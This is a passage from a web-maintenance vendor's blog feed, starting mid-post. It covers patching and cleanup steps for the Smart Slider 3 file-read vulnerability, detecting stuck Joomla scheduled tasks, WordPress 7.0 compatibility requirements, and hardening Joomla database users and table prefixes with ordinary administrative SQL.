1. Update Smart Slider 3 to <span class="ssc-warn" tabindex="0">3.5.1.34<span class="ssc-warn-popover"><strong>Outdated advice.</strong> Version 3.5.1.35 was a malicious supply-chain release pushed via Nextend's update infrastructure. Skip 3.5.1.35 entirely and update directly to <strong>3.5.1.36</strong> or later. <a href="/blog/smart-slider-3-pro-supply-chain-compromise/">Read why</a>.</span></span> 3.5.1.36 or Later

The 3.5.1.34 patch adds capability checks to the export AJAX actions and originally fixed CVE-2026-3098. However, version 3.5.1.35 was a malicious supply-chain release containing a remote code execution backdoor. Always install 3.5.1.36 or newer to get both the CVE fix and a clean codebase. Update through the WordPress plugin updater or download from wordpress.org. See the supply-chain compromise post for the full background.

If you manage multiple sites, use the mySites.guru mass updater to push the update everywhere at once.

2. Regenerate Your Authentication Keys and Salts

If there's any chance the vulnerability was exploited before you patched, your keys and salts should be considered compromised. Generate new ones at api.wordpress.org/secret-key/1.1/salt/ and replace the existing values in wp-config.php. This immediately invalidates all active sessions, forcing every user (including any attacker with a forged cookie) to log in again.

3. Change Your Database Password

Update the password in your hosting control panel or database server, then update DB_PASSWORD in wp-config.php to match. If the attacker read your credentials, this cuts off direct database access.

4. Audit Your User Accounts

Check your WordPress user list for accounts you don't recognize, especially subscribers. Delete any unauthorized accounts. If you manage multiple sites, mySites.guru's user management lets you review accounts across all your sites from one place.

5. Run a Security Audit

Use the mySites.guru suspect content scanner to check for backdoors or modified files. If an attacker escalated from file read to admin access using forged cookies, they may have left persistent backdoors that survive the plugin update.

Set up real-time file change monitoring so you'll be alerted immediately if any watched files are modified after cleanup.

6. Review Server Access Logs

Check your access logs for unusual requests to Smart Slider 3's AJAX endpoints. Look for POST requests to admin-ajax.php with actions related to slider export from IP addresses you don't recognize. This can help determine whether the vulnerability was exploited before the patch.

Smart Slider 3 Has a History of Vulnerabilities

This isn't a one-off. Smart Slider 3 has had eight documented vulnerabilities since 2021, including two High-severity issues in 2022. If you're running this plugin, you need to stay on top of updates.

Year	CVE	Type	CVSS	Min. Role	Fixed In
2021	CVE-2021-24382	Stored XSS	4.8	Author	3.5.0.9
2022	CVE-2022-3357	PHP Object Injection	8.1	Subscriber	3.5.1.11
2022	CVE-2022-45843	Stored XSS	5.4	Contributor	3.5.1.11
2022	CVE-2022-45845	Deserialization of Untrusted Data	8.8	Subscriber	3.5.1.11
2023	CVE-2023-0660	Stored XSS	6.8	Contributor	3.5.1.14
2024	CVE-2024-3027	Missing Auth / File Upload	6.4	Subscriber	3.5.1.23
2025	CVE-2025-6348	SQL Injection via `sliderid`	7.6	Admin	3.5.1.29
2026	CVE-2026-3098	Arbitrary File Read	6.5	Subscriber	3.5.1.34

Notice the pattern: three of these eight vulnerabilities (including the current one) require only subscriber-level access. That's the lowest authenticated role in WordPress. The 2022 PHP Object Injection (CVSS 8.1) and Deserialization (CVSS 8.8) issues were both subscriber-exploitable too.

The vendor has patched every disclosed vulnerability, and the response time on CVE-2026-3098 (acknowledged March 2, patched March 24) was reasonable. But the recurring pattern, especially around subscriber-level exploits, is something to factor into your risk assessment if you're deciding whether to keep using this plugin.

Is the Joomla Version of Smart Slider 3 Also Vulnerable?

Yes. Smart Slider 3 is available for both WordPress and Joomla, and they share the same Nextend framework codebase. We compared the patched Joomla release (3.5.1.34) against the patched WordPress release and found identical files - the md5 hashes of both ExportSlider.php and ControllerSliders.php match exactly between platforms.

The vulnerable code path is the same on both platforms: the actionExportAll() method lacked a permission check, and ExportSlider::create() had no file extension whitelist. The 3.5.1.34 patch adds validatePermission('smartslider_edit') and restricts exported files to image and media extensions (jpg, png, gif, mp4, mp3, svg, webp, avif).

The Smart Slider 3 changelog is unified across both platforms, and the 3.5.1.34 entry ("Fix: Vulnerability improvements") applies to WordPress and Joomla equally. Earlier entries in the same changelog reference Joomla-specific features like Joomla 6 compatibility, VirtueMart generators, and Joomla article generators, confirming this is a single shared codebase.

If you run Smart Slider 3 on Joomla sites, update to <span class="ssc-warn" tabindex="0">3.5.1.34<span class="ssc-warn-popover"><strong>Outdated advice.</strong> Version 3.5.1.35 was a malicious supply-chain release affecting both the WordPress and Joomla editions. Skip 3.5.1.35 and update directly to <strong>3.5.1.36</strong> or later. <a href="/blog/smart-slider-3-pro-supply-chain-compromise/">Read why</a>.</span></span> <a href="/blog/smart-slider-3-pro-supply-chain-compromise/" class="ssc-warn-fix">3.5.1.36+</a> with the same urgency. The Wordfence disclosure focuses on WordPress, but the Joomla version carries identical risk.

Smart Slider 3 CVE-2026-3098 Disclosure Timeline

Date	Event
February 23, 2026	Vulnerability submitted to Wordfence Bug Bounty by Dmitrii Ignatyev
February 24, 2026	Wordfence validated the proof-of-concept
February 24, 2026	Full details sent to Nextend (Smart Slider developer)
February 24, 2026	Wordfence Premium/Care/Response users received a firewall rule
March 2, 2026	Nextend acknowledged the report and began working on a fix
March 24, 2026	Patched version 3.5.1.34 released
March 26, 2026	Wordfence Free users received the firewall rule

Want Someone to Handle the Smart Slider 3 Fix for You?

If you'd rather hand this off, visit fix.mysites.guru and submit a request. For a one-time set fee, the site gets patched, audited, locked down, and handed back secure. Non-subscribers get a free month of mySites.guru included.

Detect Locked Joomla Scheduled Tasks Before They Cause Problems

phil@mysites.guru (Phil Taylor) — Thu, 26 Mar 2026 00:00:00 GMT

Joomla's Task Scheduler has been running background jobs since Joomla 4.1: sending update notifications, cleaning up expired sessions, rotating logs, processing privacy consent requests. It works well, right up until a task crashes mid-execution. When that happens, the lock is never released. The task sits there marked as "running" even though the process died minutes or hours ago.

In the Joomla admin, locked tasks show up with a running person icon in System > Scheduled Tasks:

</div>

But nobody checks that screen regularly. If you manage 30 Joomla sites, you're not logging into each one to inspect the task scheduler. Update notifications stop arriving, sessions pile up, logs grow unchecked, and you don't find out until something breaks.

How does mySites.guru detect and unlock locked Joomla tasks?

Every time you run a snapshot on a Joomla 5 or 6 site, mySites.guru checks for locked scheduled tasks automatically. The result appears in the audit dashboard alongside the rest of your site health data:

0 locked tasks: green badge, everything healthy
1 or more locked tasks: warning badge with the count, plus Investigate and Fix buttons

Click Investigate to see exactly which tasks are stuck. mySites.guru connects to the site and pulls the full details: task name, type, how long it's been locked, the last exit code, and an Unlock button to fix it on the spot.

</div>

If a task has been locked for more than 15 minutes, mySites.guru flags it with an additional warning. Joomla's default task timeout is 300 seconds. Anything beyond that is almost certainly stuck, not actively running.

The check itself is lightweight - a single COUNT(*) query against an indexed column, adding negligible overhead to the snapshot.

What about checking all your sites at once?

If you manage dozens or hundreds of Joomla sites, you don't want to open each snapshot individually. The pivot page shows the locked task count for every connected Joomla site on a single screen. One glance tells you which sites have stuck tasks and which are clean. Click Investigate on any flagged site to drill into the details, or Fix to unlock the stuck tasks remotely.

</div>

This is where the real time savings come in. Instead of logging into 200 Joomla admin panels to check System > Scheduled Tasks on each one, you get the full picture from one page. Sites with zero locked tasks show green. Sites with stuck tasks show a warning count. Sort, scan, fix, move on.

What can locked Joomla tasks break?

Stuck scheduled tasks don't crash your site, but the downstream effects accumulate:

Update Notification: you stop getting emails about available Joomla and extension updates. The update check still works from mySites.guru, but local admin notifications go silent.
Session GC: expired sessions aren't cleaned up. The #__session table grows, slowing database queries.
Privacy Consent: GDPR consent expiry processing stops. Users who should be re-prompted aren't.
Log Rotation: action logs grow without bounds. On high-traffic sites, this eats disk space fast.
Custom tasks from third-party extensions stop running with no error message.

That last one deserves extra attention. Third-party extensions can register their own scheduled tasks via com_scheduler plugins. Akeeba Backup is the most common example - it provides a task plugin for automated backup schedules. If you've set up Akeeba to run nightly backups via the scheduler and the task locks, your backups stop silently. You won't know until you need a restore and find the most recent backup is three weeks old.

Any extension that ships a com_scheduler task plugin is at risk. The Investigate view in mySites.guru shows the task type identifier, so you can tell immediately whether a locked task belongs to Joomla core or a third-party extension.

None of these cause immediate, visible errors. That's the problem. They're the kind of issues you discover weeks later when someone asks "why haven't we had an update notification in a month?" or when a backup is needed and the latest one is stale.

Why do Joomla scheduled tasks get stuck?

Joomla scheduled tasks get stuck when the PHP process running them dies without releasing the database lock. The four most common causes:

PHP hits max_execution_time or memory_limit, the process dies, and the database lock persists because there's no cleanup handler.
Long-running tasks lose their database connection, especially on shared hosting with aggressive connection timeouts.
The web server or PHP-FPM restarts while a task is running. The lock stays.
A third-party plugin providing a scheduled task throws a fatal error. The task framework can't catch it, so the lock remains.

These aren't edge cases. On a busy shared host, PHP timeouts and connection drops happen regularly. If you manage multiple Joomla sites across different hosts, you'll eventually run into locked tasks on at least a few of them.

<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950"> <p class="font-medium text-blue-900 dark:text-blue-200">Note: <a href="https://github.com/joomla/joomla-cms/pull/47217" class="underline hover:text-blue-700 dark:hover:text-blue-100">Joomla 5.4.2 improved cascade behaviour</a></p> <p class="mt-1 text-sm text-blue-800 dark:text-blue-300">Before Joomla 5.4.2, a single stuck task would block <em>all</em> other scheduled tasks from running. The scheduler checked for any locked task and refused to start new ones, even if the lock had long exceeded its timeout. Joomla 5.4.2 fixed this by respecting the configured timeout, so a timed-out task no longer prevents other tasks from executing. The stuck task itself still needs manual unlocking, but at least it no longer takes the entire scheduler down with it.</p> </div>

How do I unlock a stuck Joomla scheduled task?

The fastest way is directly from mySites.guru. When the snapshot flags locked tasks, click Fix to unlock them remotely. mySites.guru connects to the site and clears the lock on the stuck tasks without you ever logging into the Joomla admin. This is the whole point of the feature - detect and resolve locked tasks across all your sites from one dashboard, instead of logging into each one individually.

If you prefer to fix it manually, you can also unlock tasks from the Joomla admin:

Go to System > Scheduled Tasks
Find the task showing the running person icon
Click the task to open it
The task detail screen will show the lock state, and you can manually unlock it

Or if you have database access:

UPDATE #__scheduler_tasks SET locked = NULL WHERE id = <task_id>;

Replace #__ with your actual table prefix (usually jml_ or similar) and <task_id> with the task ID shown in the mySites.guru investigate results.

Which Joomla versions support scheduled task detection?

The Task Scheduler was introduced in Joomla 4.1, but this feature targets Joomla 5 and Joomla 6 sites. Those are the actively supported major versions, and the ones where mySites.guru invests in new audit tooling.

Joomla 4 sites will not show locked task data. Joomla 3 has no task scheduler at all.

Where did this feature come from?

This feature was requested by Marc Dechèvre (WoluWeb), a long-time Joomla contributor and mySites.guru user. Marc noticed that locked tasks were a recurring pain point for agencies managing Joomla sites at scale. The information was always there in the database, but nobody had an easy way to check it across multiple sites without logging into each one individually.

If you have feature ideas for mySites.guru, get in touch via the contact form or reply to any newsletter email. User feedback drives the roadmap.

How do I try it?

The locked scheduled tasks check ships with all mySites.guru subscriptions at no extra cost. Connect your Joomla 5 or 6 sites and the next snapshot picks up any locked tasks automatically.

Not a subscriber? The free audit runs a broad set of Joomla health checks on any site. Worth a look.

How to Check Your Sites for WordPress 7.0 Compatibility

phil@mysites.guru (Phil Taylor) — Thu, 26 Mar 2026 00:00:00 GMT

<div class="not-prose my-6 rounded-lg border border-neutral-200 bg-neutral-50 p-4 dark:border-neutral-700 dark:bg-neutral-900"> <p class="font-medium text-neutral-900 dark:text-neutral-200">Update (3 April 2026): WordPress 7.0 has been delayed.</p> <p class="mt-1 text-sm text-neutral-700 dark:text-neutral-300">The WordPress core team <a href="https://make.wordpress.org/core/2026/03/31/extending-the-7-0-cycle/">extended the 7.0 release cycle</a> on March 31 to allow more time for real-time collaboration architecture decisions. On April 2, a <a href="https://make.wordpress.org/core/2026/04/02/the-path-forward-for-wordpress-7-0/">follow-up post</a> confirmed that pre-release versions are paused through April 17 and a revised schedule will be published by April 22. The original April 9 date no longer applies. All requirement changes below remain unchanged.</p> </div>

WordPress 7.0 was originally scheduled for April 9, 2026, but the release has been delayed while the core team reworks the real-time collaboration architecture. It raises two big floor requirements: PHP 7.2 and 7.3 are dropped (minimum moves to PHP 7.4), and MySQL 8.0 is now the minimum database version (up from 5.5.5 in WordPress 6.9). Sites that don't meet either requirement will not be offered the auto-update.

If you manage a portfolio of WordPress sites, these are the kind of changes that catch you off guard. A site on old PHP, or a shared host still running MySQL 5.7, and suddenly that site is stuck on 6.9 while everything else moves forward. mySites.guru flags exactly which sites are affected. The Sites Overview shows PHP versions, MySQL/MariaDB versions, and WordPress versions for every connected site. Sites below the 7.0 minimums stand out immediately. If you're not a subscriber yet, the free audit reports PHP versions too.

What Changed Between WordPress 6.9 and 7.0?

<table class="not-prose w-full text-sm border border-neutral-200 dark:border-neutral-700 rounded-lg overflow-hidden"> <thead> <tr class="border-b border-neutral-200 dark:border-neutral-700 bg-neutral-100 dark:bg-neutral-800"> <th class="py-2 px-3 text-left font-semibold">Component</th> <th class="py-2 px-3 text-left font-semibold">WordPress 6.9</th> <th class="py-2 px-3 text-left font-semibold">WordPress 7.0</th> <th class="py-2 px-3 text-center font-semibold">Changed?</th> </tr> </thead> <tbody class="divide-y divide-neutral-100 dark:divide-neutral-800"> <tr><td class="py-2 px-3 font-medium">PHP (minimum)</td><td class="py-2 px-3">7.2.24</td><td class="py-2 px-3">7.4</td><td class="py-2 px-3 text-center font-semibold text-red-600 dark:text-red-400">Yes</td></tr> <tr><td class="py-2 px-3 font-medium">PHP (recommended)</td><td class="py-2 px-3">8.3</td><td class="py-2 px-3">8.3+</td><td class="py-2 px-3 text-center font-semibold text-green-600 dark:text-green-400">No</td></tr> <tr><td class="py-2 px-3 font-medium">MySQL</td><td class="py-2 px-3">5.5.5</td><td class="py-2 px-3">8.0</td><td class="py-2 px-3 text-center font-semibold text-red-600 dark:text-red-400">Yes</td></tr> <tr><td class="py-2 px-3 font-medium">MariaDB</td><td class="py-2 px-3">10.6 (recommended)</td><td class="py-2 px-3">10.6</td><td class="py-2 px-3 text-center font-semibold text-green-600 dark:text-green-400">No</td></tr> <tr><td class="py-2 px-3 font-medium">HTTPS</td><td class="py-2 px-3">Recommended</td><td class="py-2 px-3">Recommended</td><td class="py-2 px-3 text-center font-semibold text-green-600 dark:text-green-400">No</td></tr> <tr><td class="py-2 px-3 font-medium">Web Server</td><td class="py-2 px-3">Apache or Nginx</td><td class="py-2 px-3">Apache (mod_rewrite) or Nginx</td><td class="py-2 px-3 text-center font-semibold text-green-600 dark:text-green-400">No</td></tr> </tbody> </table>

The PHP change is the one that will actually affect sites. PHP 7.2 and 7.3 usage dropped below 4% of monitored WordPress installs, which is below the 5% threshold the WordPress project uses for dropping support. The official announcement went up in January.

MySQL also gets a formal minimum bump. WordPress 6.9 technically allowed MySQL 5.5.5, though MySQL 5.7 extended support from Oracle ended back in October 2023. If your hosting provider is still running MySQL 5.x, that's a bigger problem than WordPress compatibility.

What happened when Joomla required MySQL 8?

Joomla went through this exact pain already. When Joomla 5 launched in October 2023 with MySQL 8.0.13 as its minimum, budget shared hosts weren't ready. HostGator told users they'd need to move to a VPS at roughly 6x the cost. GoDaddy's response to "when will shared hosting get MySQL 8?" was basically "we don't know." SiteGround didn't even start their MySQL 8 rollout until April 2024, six months after Joomla 5 launched, and the migration took 63 days and 1,228 engineering hours across roughly 3 million databases.

The result was a two-year window where Joomla users on cheap shared hosting were stuck: their host wouldn't upgrade MySQL, they couldn't upgrade to Joomla 5, and Joomla 4 was marching toward end-of-life. Many switched to MariaDB (which hosts offered more readily) or changed providers entirely.

WordPress users are unlikely to hit this as hard. WordPress was still allowing MySQL 5.5.5 until now, so the jump to 8.0 sounds dramatic, but most hosts upgraded to MySQL 8 during the Joomla migration wave. If your host survived the Joomla 5 transition, you're probably fine. If they didn't, well, that tells you something about your host.

What Happens to Sites on PHP 7.2 or 7.3?

They don't break. WordPress won't force an incompatible update. Instead:

WordPress 7.0 will not be offered via the automatic update mechanism. Auto-updates skip these sites entirely.
Security patches for 6.9.x will continue, so sites aren't left exposed. They stay on the 6.9 security branch.
Manual updates are blocked too. The Dashboard > Updates screen will tell the site owner to upgrade PHP first.

The risk isn't immediate breakage. It's drift. A site stuck on 6.9 gradually falls behind on features, plugin vulnerability patches, and eventually security coverage when the 6.9 branch reaches end of life.

How Do You Check PHP Versions Across All Your Sites?

Checking one site is easy: Dashboard > Tools > Site Health. Checking 50 or 500 is not.

WordPress 7 Compatibility Checker

We built a dedicated WordPress 7 Compatibility Checker that lists every connected WordPress site and colour-codes each one against the 7.0 requirements. You can open it from the command palette (Cmd+K or Ctrl+K) by typing "wordpress 7", or with the keyboard shortcut c then 7.

If you're already a mySites.guru subscriber, you can open this tool right now:

<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950"> <p class="font-medium text-blue-900 dark:text-blue-200">Check all your WordPress sites for 7.0 compatibility</p> <p class="mt-2"><a href="https://manage.mysites.guru/en/tools/wordpress7/compatibility" class="inline-flex items-center gap-2 rounded-md bg-blue-700 px-4 py-2 text-sm font-medium text-white no-underline hover:bg-blue-800 dark:bg-blue-600 dark:hover:bg-blue-500">Open WordPress 7 Compatibility Checker</a></p> <p class="mt-2 text-sm text-blue-800 dark:text-blue-300">Colour-codes every connected site's PHP version, database version, and auto-update status against the WordPress 7.0 requirements. Sites that need attention are flagged immediately.</p> </div>

For each site, the tool shows:

PHP version - green if 8.3+ (recommended), yellow if 7.4+ (minimum), red if below 7.4
Database version - green for MySQL 8.4+ or MariaDB 11.4+ (current LTS releases), yellow for MySQL 8.0+ or MariaDB 10.6+ (official minimum), red if below
Auto-update status - whether AUTOMATIC_UPDATER_DISABLED is set in wp-config.php, so you know which sites might auto-upgrade to 7.0 before you're ready
Server hostname - quickly spot which hosting provider or server needs attention

Sites that need action stand out immediately. Filter by hostname to see all sites on one server, or by PHP version to group sites that need the same upgrade. For a closer look at how the colour coding works and what each column means, see the WordPress 7 technical requirements check walkthrough.

The Sites Overview also shows PHP and database versions for every connected site if you need a broader view across both WordPress and Joomla. If you're not a subscriber yet, the free audit reports PHP versions too.

From there, coordinate with hosting providers to upgrade PHP on the affected servers before the release. The delay gives you extra time to prepare. Most hosts let you change PHP versions from cPanel or Plesk without a support ticket.

What Else is New in WordPress 7.0?

PHP and MySQL are the operational headaches, but 7.0 ships a lot more than version bumps.

Real-Time Collaboration

Phase 3 of the Gutenberg roadmap lands here: real-time collaborative editing in the block editor. Multiple users can edit the same post simultaneously, with changes synced using Yjs (a conflict-free data merging library).

The default transport is HTTP polling, which works on every host with no special server configuration. Hosting providers can optionally enable WebSocket support for lower latency via the sync.providers filter.

One caveat: posts that use classic meta boxes will fall back to traditional post locking instead of real-time collaboration. If you have custom meta boxes, migrate them to register_post_meta() with show_in_rest => true or you won't get the collaborative editing.

During the beta/RC period, collaboration is controlled by the WP_ALLOW_COLLABORATION constant in wp-config.php. After the stable release, it should be on by default.

AI Infrastructure

WordPress 7.0 ships a provider-agnostic AI client (WP_AI_Client_Prompt_Builder) that lets plugins call OpenAI, Anthropic, Google, and other LLM providers through a unified PHP API. A new Connectors API at Settings > Connectors centralizes credentials for external services.

There's also an MCP Adapter that exposes WordPress "Abilities" as Model Context Protocol tools at /wp-json/mcp/v1/, authenticated via Application Passwords. If you've been following the MCP spec, this is WordPress giving plugins a standardized way to talk to AI agents.

You can disable all AI features with a single config option if you don't want LLM integration on a site.

Everything Else

Images are now resized and compressed in the browser before upload (client-side media processing), which reduces server load
Blocks can be shown or hidden per screen size (mobile, tablet, desktop)
The Posts, Pages, and Media screens use new DataViews (list/grid toggle) instead of WP_List_Table
A "Modern" admin color scheme replaces "Fresh" as the default. The old scheme is still available.
Cmd+K / Ctrl+K opens a Command Palette in the admin bar for quick navigation
New blocks: Breadcrumbs, Icons, Gallery lightbox, Grid (responsive), Cover (video embeds)
The Font Library now works with classic and hybrid themes, not just block themes

Should You Update to WordPress 7.0 When It Lands?

If you've been testing during the RC cycle, yes - update production sites as soon as the stable release is available. If you haven't been following the pre-release builds, test on a staging site first and update production once you're confident.

The delay actually works in your favour here. Use the extra time to:

Run the WordPress 7 Compatibility Checker to identify sites below PHP 7.4 or MySQL 8.0, then coordinate hosting upgrades
Test on staging with the latest RC/beta, especially if you use custom meta boxes or heavily customized themes
Review plugin compatibility - major WordPress releases sometimes break plugins that rely on internal APIs
Plan mass upgrades - once you're confident, mySites.guru lets you roll out WordPress updates across all sites from one place

If you want to control the rollout more tightly, you can enforce minor upgrades only or disable automatic updates entirely so sites don't auto-update to 7.0 before you're ready.

How to Check Your Joomla Database Security with mySites.guru

phil@mysites.guru (Phil Taylor) — Wed, 25 Mar 2026 00:00:00 GMT

Your Joomla site's database holds everything that matters. User accounts, passwords, content, configuration, session tokens, extension settings. If an attacker gets read access, they own the site. Write access, they own the server.

The database is also one of the most commonly misconfigured parts of any Joomla installation. Default table prefixes that automated tools know how to target. Root database users with unrestricted access. Database users that can see every database on the server. Backup tables full of historical data that nobody remembers creating. Schema mismatches from botched updates. Action logs growing without bounds.

The mySites.guru snapshot tool checks for all of these automatically. The Database Integrity section of the snapshot runs six distinct checks on every connected site:

</div>

Each check links to a Watch button (video walkthrough), a Learn button (best practice explanation), and an Investigate button that takes you straight to the issue on that specific site. For Joomla sites, most checks also include a Fix This For Me button that applies the fix remotely with a single click. When you need to see a single check across all your sites at once, the pivot view shows every connected site's status for that check on one screen:

</div>

If you manage 10, 50, or 500 sites, this is how you spot the outliers without logging into each server individually.

This post walks through every database integrity check, explains why each one matters, and gives you the exact steps to fix each issue.

Why Does Joomla Database Security Get Overlooked?

Most Joomla administrators focus on the visible attack surface: keeping extensions updated, running security audits, scanning for hacked files and backdoors, and reviewing security headers.

But the database sits behind the scenes. You don't interact with it directly during normal site management. It was configured once during installation and never revisited. The installer picked a prefix, the hosting panel created a user with whatever privileges it felt like granting, and everyone moved on.

The decisions made during a five-minute installation have permanent security implications, and almost nobody goes back to review them.

When you manage multiple Joomla sites, the odds of database misconfiguration go up fast. Different hosts have different defaults. Different eras of Joomla had different installation behaviours. Some hosts create database users with full administrative privileges because it's easier than figuring out the minimum required set.

Why Is the Default Joomla Table Prefix a Problem?

Joomla versions before 1.7 used jos_ as the default database table prefix during installation. That means your users table would be jos_users, your sessions table jos_session, your extensions table jos_extensions, and so on.

Joomla has generated a random prefix during installation since version 1.7 (released in 2011). But if you're managing older sites, sites that were migrated from earlier versions, or sites where someone typed jos_ manually during setup, that default prefix is still there.

This matters because SQL injection attacks need to know your table names to extract data. If a site uses jos_users as the users table, attackers don't need to guess. They already know. Automated attack tools and scripts target jos_users, jos_session, and jos_extensions by default. Changing your prefix to something custom, say x7k9_ or mguru_, means those pre-built payloads hit tables that don't exist and return nothing useful.

Tim Davis from Basic Joomla Tutorials covers this exact issue in his Maintenance Monday stream. It's a clear walkthrough of why the default prefix is a problem and how to change it:

<div class="not-prose my-6 rounded-lg border border-neutral-200 dark:border-neutral-700 bg-neutral-50 dark:bg-neutral-800/50 p-4 flex gap-3 items-start text-sm"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" class="w-5 h-5 shrink-0 fill-neutral-500 dark:fill-neutral-400 mt-0.5"><path d="M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464a256 256 0 1 0 0-512 256 256 0 1 0 0 512zM216 336l-24 0 0 48 128 0 0-48-32 0 0-112-96 0 0 48 48 0 0 64-24 0zm72-144l0-64-64 0 0 64 64 0z"/></svg> <p class="text-neutral-700 dark:text-neutral-300 m-0">The video above shows an older version of the mySites.guru interface. We've since redesigned the dashboard, but the database checks work the same way.</p> </div>

<div class="not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950"> <p class="font-medium text-amber-900 dark:text-amber-200">Changing the table prefix is not a substitute for fixing SQL injection vulnerabilities. A determined attacker who can inject SQL can usually enumerate your table names regardless of prefix. But it stops the vast majority of automated attacks, which are the ones most sites actually face. Defense in depth means stacking imperfect barriers, and each one filters out a portion of threats.</p> </div>

What mySites.guru checks

The snapshot reads your site's configuration.php and checks the $dbprefix value. If it's jos_, the tool flags it as a warning. If you've set a custom prefix, it passes.

How to fix it

Option 1: Use mySites.guru (recommended)

Click the Investigate button on the flagged check to see your site's current prefix. For Joomla sites, click Fix This For Me and mySites.guru will generate a random prefix, rename every table in the database, and update configuration.php automatically. No manual SQL needed. If you manage dozens of sites, use the pivot view to see which sites still have jos_ across your entire portfolio in one screen.

Option 2: Use Admin Tools

If you have Akeeba Admin Tools installed, it includes a database table prefix changer. It handles renaming all tables and updating the configuration automatically. This is a solid approach because it accounts for edge cases like tables created by third-party extensions that might not follow standard naming conventions.

Option 3: Manual change via phpMyAdmin

Take a full database backup first. This is non-negotiable.
Open phpMyAdmin (or your preferred database management tool).
For each table starting with jos_, run: RENAME TABLE jos_tablename TO newprefix_tablename;
Update configuration.php on the server: change public $dbprefix = 'jos_'; to public $dbprefix = 'newprefix_';
Clear your Joomla cache and verify the site loads correctly.

A few rules for choosing a good prefix to save you headaches with some webhosts and configurations - trust us!

Use 3-5 random characters followed by an underscore (e.g., a8x2_)
Stick to lowercase letters and numbers only, no special characters
Start with a letter, not a number
Don't use your site name, domain, or anything guessable
Don't use joomla_, jml_, or any other obvious Joomla-related prefix

<div class="not-prose my-6 rounded-lg border border-green-200 bg-green-50 p-4 dark:border-green-800 dark:bg-green-950"> <p class="font-medium text-green-900 dark:text-green-200">If you're installing a new Joomla site, the installer already generates a random prefix by default (since Joomla 1.7 in 2011). If you see jos_ on a site, it either predates that change or someone manually typed it in during setup.</p> </div>

The root database user problem in Joomla

If your Joomla site connects to the database as the root MySQL user, you have a serious problem.

The root user has unrestricted access to every database on the server. Not just your Joomla database, but every single one. If a vulnerability in any Joomla extension allows an attacker to execute arbitrary SQL, they can read, modify, or delete data from every database on the server. They can create new database users. They can grant themselves permanent access. They can dump every table from every application sharing that MySQL instance.

This is the database equivalent of running your web server as the system root user.

Why it happens

Shared hosting panels often create a single database user per hosting account and give it access to all databases under that account. On some budget hosts, the installation wizard pre-fills "root" as the database username because the hosting environment uses it.

Self-managed servers tend to be worse. Developers setting up a quick test environment use root because it works and they'll "fix it later." They never fix it later. The test environment becomes production, and root stays in configuration.php for years.

What mySites.guru checks

The snapshot reads the $user value from your site's configuration.php. If the database username is root, the tool flags it as a critical warning.

How to fix it

Option 1: Use mySites.guru (recommended)

Click the Investigate button on the flagged check to see the exact database username. For Joomla sites, the investigation page includes a credentials form where you can enter new database credentials, test them against the server, and apply the change to configuration.php remotely. No SSH or FTP required. Use the pivot view to instantly see which sites across your portfolio are still running as root, so you can prioritise the worst offenders.

Option 2: Fix manually

Log into your hosting control panel or MySQL directly.
Create a new database user with a strong, unique password.
Grant that user access only to the Joomla database, nothing else.
Assign only the required privileges (covered in the next section).
Update configuration.php with the new username and password.
Verify the site works correctly.
If no other applications use root, change the root password and restrict root to localhost-only access.

If you have direct MySQL access, here's the command to create a properly scoped user. On shared hosting, your control panel (cPanel, Plesk, DirectAdmin, etc.) will handle this through its GUI instead - typically in three separate steps: create the user, assign privileges to the user, then add the user to the database.

CREATE USER 'joomla_user'@'localhost' IDENTIFIED BY 'strong_random_password_here';
GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, ALTER, INDEX
  ON joomla_database.* TO 'joomla_user'@'localhost';
FLUSH PRIVILEGES;

Replace joomla_user, strong_random_password_here, and joomla_database with your actual values. The @'localhost' restriction ensures this user can only connect from the local machine, not remotely.

<div class="not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950"> <p class="font-medium text-amber-900 dark:text-amber-200">If your Joomla site is on shared hosting, check with your host about database user permissions. Some hosts don't give you direct MySQL access to create users, so you'll need to use their control panel instead. The principle is the same: one user per database, minimum required privileges.</p> </div>

Why Should Each Site Have Its Own Database User?

Even with a dedicated (non-root) database user, there's a subtler problem: that user might have access to multiple databases on the same server.

This happens more often than you'd expect. Hosting panels frequently create a single database user and grant it access to every database under your account. If you run three Joomla sites on the same server, all three might share the same database user. If one site gets compromised through an extension vulnerability, the attacker can read and modify the databases of the other two sites as well.

Tim Davis has a memorable take on this in his Maintenance Monday stream: No Database Threesomes in Joomla. He walks through how to check if your database user can access multiple databases and how to create separate users for each site. If a hack occurs on one site whose database user can see other databases, the attacker can view those databases too, change admin passwords directly, and compromise every site on that server. We have seen over 100 databases on a single server all hacked from one compromised site. Total compromise, from a single weak point.

What mySites.guru checks

The snapshot connector connects to your MySQL server using your site's database credentials and runs SHOW DATABASES, filtering out system databases (information_schema, performance_schema, mysql, test). If the user can see more than one database, the check fails. This is the same test an attacker would use after gaining SQL access through a vulnerability.

How to fix it

Option 1: Use mySites.guru (recommended)

Click the Investigate button to see exactly how many databases the user can access. For Joomla sites, the investigation page includes the same credentials form as the root user check: enter a new dedicated username and password, test them, and apply the change to configuration.php remotely. Use the pivot view to see which sites across your portfolio have this problem.

Option 2: Fix manually

Create a separate database user for each Joomla site on your server. Using the MySQL command from the root user section above, the key is the ON joomla_database.* part: that restricts the user to a single database. Repeat for each site with a different username, password, and database name.

-- Site A
CREATE USER 'site_a_user'@'localhost' IDENTIFIED BY 'password_a';
GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, ALTER, INDEX
  ON site_a_db.* TO 'site_a_user'@'localhost';

-- Site B
CREATE USER 'site_b_user'@'localhost' IDENTIFIED BY 'password_b';
GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, ALTER, INDEX
  ON site_b_db.* TO 'site_b_user'@'localhost';

FLUSH PRIVILEGES;

Then update each site's configuration.php to use its dedicated user.

What Database Privileges Does Joomla Actually Need?

Even with a dedicated user that only accesses one database, that user might have far more privileges than Joomla needs. This isn't one of the six automated snapshot checks, but it's a critical part of database security that you should review manually alongside the snapshot results.

Joomla needs these MySQL privileges to function:

SELECT - read data from tables
INSERT - add new rows (content, users, sessions, etc.)
UPDATE - modify existing rows
DELETE - remove rows
CREATE - create new tables (needed during extension installation)
